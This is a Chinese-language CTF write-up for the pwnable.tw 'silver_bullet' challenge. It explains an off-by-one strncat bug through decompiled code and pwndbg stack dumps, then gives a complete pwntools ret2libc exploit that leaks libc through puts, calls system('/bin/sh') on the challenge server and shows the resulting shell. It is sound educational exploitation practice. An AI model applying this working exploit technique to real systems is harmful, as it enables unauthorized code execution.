利用 offbyone,可以处理数组或者字符串最后一个字节的问题
一般也就是最后的 \n 或者 \t 或者 \x00 的问题
[Asm] 纯文本查看 复制代码 checksec silver_bullet
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
先分析函数功能,create_bulet、power_up、beat 这三个
[C] 纯文本查看 复制代码 int __cdecl create_bullet(char *s){
printf("Give me your description of bullet :");
read_input(s, 0x30u);
v2 = strlen(s);
}
只能生成一次角色
[C] 纯文本查看 复制代码 int __cdecl power_up(char *dest){
if ( !*dest )
return puts("You need create the bullet first !");
if ( *((_DWORD *)dest + 12) > 47u )
return puts("You can't power up any more !");
printf("Give me your another description of bullet :");
read_input(s, 48 - *((_DWORD *)dest + 12));
strncat(dest, s, 48 - *((_DWORD *)dest + 12));
}
这里的大于 47 的判断就觉得很奇怪,而且还有长度 48 和相加相减的运算,猜想:边界值 47 的时候,会发生奇奇怪怪的问题
[Asm] 纯文本查看 复制代码
int __cdecl beat(int a1, int a2){
*(_DWORD *)a2 -= *(_DWORD *)(a1 + 0x30);
if ( *(int *)a2 <= 0 )
{
puts("Oh ! You win !!");
result = 1;
}
else
{
puts("Sorry ... It still alive !!");
result = 0;
}
}
Beat 函数呢,就是要自己的 HP 大于 wolf 的 HP,如果大于了,就从 main 函数正常 return 0 退出了
从函数逻辑看:存在某种方式,使得自己的 HP 可以绕过 48 的限制,达到特别大(大于0x7fffffff),从而退出main;由于本题是 x86,又没开栈保护,从而猜想是用 system 覆盖 main 的返回地址,从而完成提权
以下是相关的调试记录
[Asm] 纯文本查看 复制代码 pwndbg> stack 40
00:0000│ esp 0xffffcfec ◂— 0x0
01:0004│ 0xffffcff0 ◂— 0xa /* '\n' */
02:0008│ 0xffffcff4 ◂— 0x0
03:000c│ 0xffffcff8 —▸ 0xf7fb2000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c
04:0010│ 0xffffcffc —▸ 0x8048656 (read_int+19) ◂— add esp, 0xc
05:0014│ 0xffffd000 ◂— 0x0
06:0018│ 0xffffd004 —▸ 0x804867f (read_int+60) ◂— add esp, 4
07:001c│ 0xffffd008 —▸ 0xffffd00c ◂— 0xa32 /* '2\n' */
08:0020│ 0xffffd00c ◂— 0xa32 /* '2\n' */
09:0024│ 0xffffd010 —▸ 0xf7fb2000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c
0a:0028│ 0xffffd014 ◂— 0x0
0b:002c│ 0xffffd018 —▸ 0xf7e2b525 (printf+5) ◂— add eax, 0x186adb
0c:0030│ 0xffffd01c ◂— 0x2
0d:0034│ ebp 0xffffd020 —▸ 0xffffd068 ◂— 0x0
0e:0038│ 0xffffd024 —▸ 0x80489c2 (main+110) ◂— add esp, 4
0f:003c│ 0xffffd028 —▸ 0xffffd034 ◂— 0x0
10:0040│ 0xffffd02c ◂— 0x7fffffff
11:0044│ 0xffffd030 —▸ 0x8048d06 ◂— inc edi /* 'Gin' */
12:0048│ eax 0xffffd034 ◂— 0x0
... ↓ 13 skipped
20:0080│ 0xffffd06c —▸ 0xf7df2fa1 (__libc_start_main+241) ◂— add esp, 0x10
21:0084│ 0xffffd070 ◂— 0x1
22:0088│ 0xffffd074 —▸ 0xffffd104 —▸ 0xffffd2c0 ◂— '/home/ubuntu/Desktop/tw/bullet/silver_bullet'
23:008c│ 0xffffd078 —▸ 0xffffd10c —▸ 0xffffd2ed ◂— 'CLUTTER_IM_MODULE=xim'
24:0090│ 0xffffd07c —▸ 0xffffd094 ◂— 0x0
25:0094│ 0xffffd080 ◂— 0x1
26:0098│ 0xffffd084 —▸ 0xffffd104 —▸ 0xffffd2c0 ◂— '/home/ubuntu/Desktop/tw/bullet/silver_bullet'
27:009c│ 0xffffd088 —▸ 0xf7fb2000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c
在 2 这个功能里,猜想要做的事是覆盖到
20:0080│ 0xffffd06c —▸ 0xf7df2fa1 (__libc_start_main+241) ◂— add esp, 0x10
到达这种状态的输入顺序
47 * "A" -> "AB"
[Asm] 纯文本查看 复制代码 pwndbg> stack 40
00:0000│ esp 0xffffcfec ◂— 0x0
01:0004│ 0xffffcff0 ◂— 0xa /* '\n' */
02:0008│ 0xffffcff4 ◂— 0x0
03:000c│ 0xffffcff8 —▸ 0xf7fb2000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c
04:0010│ 0xffffcffc —▸ 0x8048656 (read_int+19) ◂— add esp, 0xc
05:0014│ 0xffffd000 ◂— 0x0
06:0018│ 0xffffd004 —▸ 0x804867f (read_int+60) ◂— add esp, 4
07:001c│ 0xffffd008 —▸ 0xffffd00c ◂— 0xa32 /* '2\n' */
08:0020│ 0xffffd00c ◂— 0xa32 /* '2\n' */
09:0024│ 0xffffd010 —▸ 0xf7fb2000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c
0a:0028│ 0xffffd014 ◂— 0x0
0b:002c│ 0xffffd018 —▸ 0xf7e2b525 (printf+5) ◂— add eax, 0x186adb
0c:0030│ 0xffffd01c ◂— 0x2
0d:0034│ ebp 0xffffd020 —▸ 0xffffd068 ◂— 0x0
0e:0038│ 0xffffd024 —▸ 0x80489c2 (main+110) ◂— add esp, 4
0f:003c│ 0xffffd028 —▸ 0xffffd034 ◂— 0x34333231 ('1234')
10:0040│ 0xffffd02c ◂— 0x7fffffff
11:0044│ 0xffffd030 —▸ 0x8048d06 ◂— inc edi /* 'Gin' */
12:0048│ eax 0xffffd034 ◂— 0x34333231 ('1234')
... ↓ 10 skipped
1d:0074│ 0xffffd060 ◂— 0x41333231 ('123A')
1e:0078│ 0xffffd064 ◂— 0x1
1f:007c│ 0xffffd068 ◂— 0x0
20:0080│ 0xffffd06c —▸ 0xf7df2fa1 (__libc_start_main+241) ◂— add esp, 0x10
21:0084│ 0xffffd070 ◂— 0x1
22:0088│ 0xffffd074 —▸ 0xffffd104 —▸ 0xffffd2c0 ◂— '/home/ubuntu/Desktop/tw/bullet/silver_bullet'
23:008c│ 0xffffd078 —▸ 0xffffd10c —▸ 0xffffd2ed ◂— 'CLUTTER_IM_MODULE=xim'
24:0090│ 0xffffd07c —▸ 0xffffd094 ◂— 0x0
25:0094│ 0xffffd080 ◂— 0x1
26:0098│ 0xffffd084 —▸ 0xffffd104 —▸ 0xffffd2c0 ◂— '/home/ubuntu/Desktop/tw/bullet/silver_bullet'
27:009c│ 0xffffd088 —▸ 0xf7fb2000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c
ABCDEFGHabcdefgh12345678
[Asm] 纯文本查看 复制代码 pwndbg> stack 40
00:0000│ esp 0xffffcfec ◂— 0x0
01:0004│ 0xffffcff0 ◂— 0xa /* '\n' */
02:0008│ 0xffffcff4 ◂— 0x0
03:000c│ 0xffffcff8 —▸ 0xf7fb2000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c
04:0010│ 0xffffcffc —▸ 0x8048656 (read_int+19) ◂— add esp, 0xc
05:0014│ 0xffffd000 ◂— 0x0
06:0018│ 0xffffd004 —▸ 0x804867f (read_int+60) ◂— add esp, 4
07:001c│ 0xffffd008 —▸ 0xffffd00c ◂— 0xa32 /* '2\n' */
08:0020│ 0xffffd00c ◂— 0xa32 /* '2\n' */
09:0024│ 0xffffd010 —▸ 0xf7fb2000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c
0a:0028│ 0xffffd014 ◂— 0x0
0b:002c│ 0xffffd018 —▸ 0xf7e2b525 (printf+5) ◂— add eax, 0x186adb
0c:0030│ 0xffffd01c ◂— 0x2
0d:0034│ ebp 0xffffd020 —▸ 0xffffd068 ◂— 'DEFGHabcdefgh12345678'
0e:0038│ 0xffffd024 —▸ 0x80489c2 (main+110) ◂— add esp, 4
0f:003c│ 0xffffd028 —▸ 0xffffd034 ◂— 0x34333231 ('1234')
10:0040│ 0xffffd02c ◂— 0x7fffffff
11:0044│ 0xffffd030 —▸ 0x8048d06 ◂— inc edi /* 'Gin' */
12:0048│ eax 0xffffd034 ◂— 0x34333231 ('1234')
... ↓ 10 skipped
1d:0074│ 0xffffd060 ◂— 0x41333231 ('123A')
1e:0078│ 0xffffd064 ◂— 0x43424119
1f:007c│ 0xffffd068 ◂— 'DEFGHabcdefgh12345678'
20:0080│ 0xffffd06c ◂— 'Habcdefgh12345678'
21:0084│ 0xffffd070 ◂— 'defgh12345678'
22:0088│ 0xffffd074 ◂— 'h12345678'
23:008c│ 0xffffd078 ◂— '45678'
24:0090│ 0xffffd07c —▸ 0xffff0038 ◂— 0x0
25:0094│ 0xffffd080 ◂— 0x1
26:0098│ 0xffffd084 —▸ 0xffffd104 —▸ 0xffffd2c0 ◂— '/home/ubuntu/Desktop/tw/bullet/silver_bullet'
27:009c│ 0xffffd088 —▸ 0xf7fb2000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c
可以看到,返回地址已经被覆盖成了
[Asm] 纯文本查看 复制代码 20:0080│ 0xffffd06c ◂— 'Habcdefgh12345678'
想要跳出 main,需要达到 beat 这个条件
这是使用暴力命令修改的
[Asm] 纯文本查看 复制代码 set *0xff86b6b4=0xFFFFFFFF
我们其实需要控制其第一个字节为 0xF0即可,然后就可以 ret2libc 了
那就是构造一个很大的数就好了,比如说这个:3284124464
这样就实现了 HP 的绕过
但问题是,我们这样没有泄露出可用的地址,导致无法算出 system 和 "/bin/sh" 的地址
于是,应该让 Create 和 PowerUp 配合得更好一些,利用 ROP,使得程序在泄露程序之后继续返回 main 执行,从而又有相同漏洞利用,才可以有 system 函数的运行机会
细节问题
解决方案:更新 pwntools:sudo pip install --upgrade pwntools
结果记录
[Asm] 纯文本查看 复制代码 $ find . -name flag
[DEBUG] Sent 0x12 bytes:
b'find . -name flag\n'
[DEBUG] Received 0x1a bytes:
b'./home/silver_bullet/flag\n'
./home/silver_bullet/flag
exp如下
[Python] 纯文本查看 复制代码 from pwn import *
debug = 0
online = 1
context(log_level = "debug", arch = 'i386', os = "linux")
if online == 0:
io = process("./silver_bullet")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
else:
io = remote("chall.pwnable.tw", 10103)
libc = ELF("./libc_32.so.6")
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True: io.recvuntil(a,b)
rn = lambda x : io.recvn(x)
sn = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
dbg = lambda text=None : gdb.attach(io, text)
lg = lambda s,addr : log.info("\033[1;31;40m %s --> 0x%x \033[0m" % (s, addr))
uu32 = lambda data : u32(data.ljust(4, "\x00"))
uu64 = lambda data : u64(data.ljust(8, "\x00"))
def Create(data):
ru("choice :")
sl("1")
ru("bullet :")
sl(data)
def PowerUp(data):
ru("choice :")
sl("2")
ru("bullet :")
sl(data)
def Beat():
ru("choice :")
sl("3")
main = 0x8048954
def exp(func, arg):
Create("A" * 0x20)
PowerUp("B" * 0x10)
PowerUp(p32(0x7FFFFFFF) + b"A" * 3 + p32(func) + p32(main) + p32(arg))
Beat()
elf = ELF("./silver_bullet")
print (hex(elf.got["puts"]))
print (hex(elf.plt["puts"]))
exp(elf.plt['puts'], elf.got['puts'])
ru("win !!\n")
puts_addr = u32(io.recvuntil("\n", drop = True).ljust(4, b"\x00"))
print ("puts_addr", puts_addr)
libc_base = puts_addr - libc.sym["puts"]
system_addr = libc_base + libc.sym["system"]
bin_sh_addr = libc_base + libc.search(b"/bin/sh").__next__()
exp(system_addr, bin_sh_addr)
io.interactive()
参考链接:
https://www.cnblogs.com/Rookle/p/12884557.html |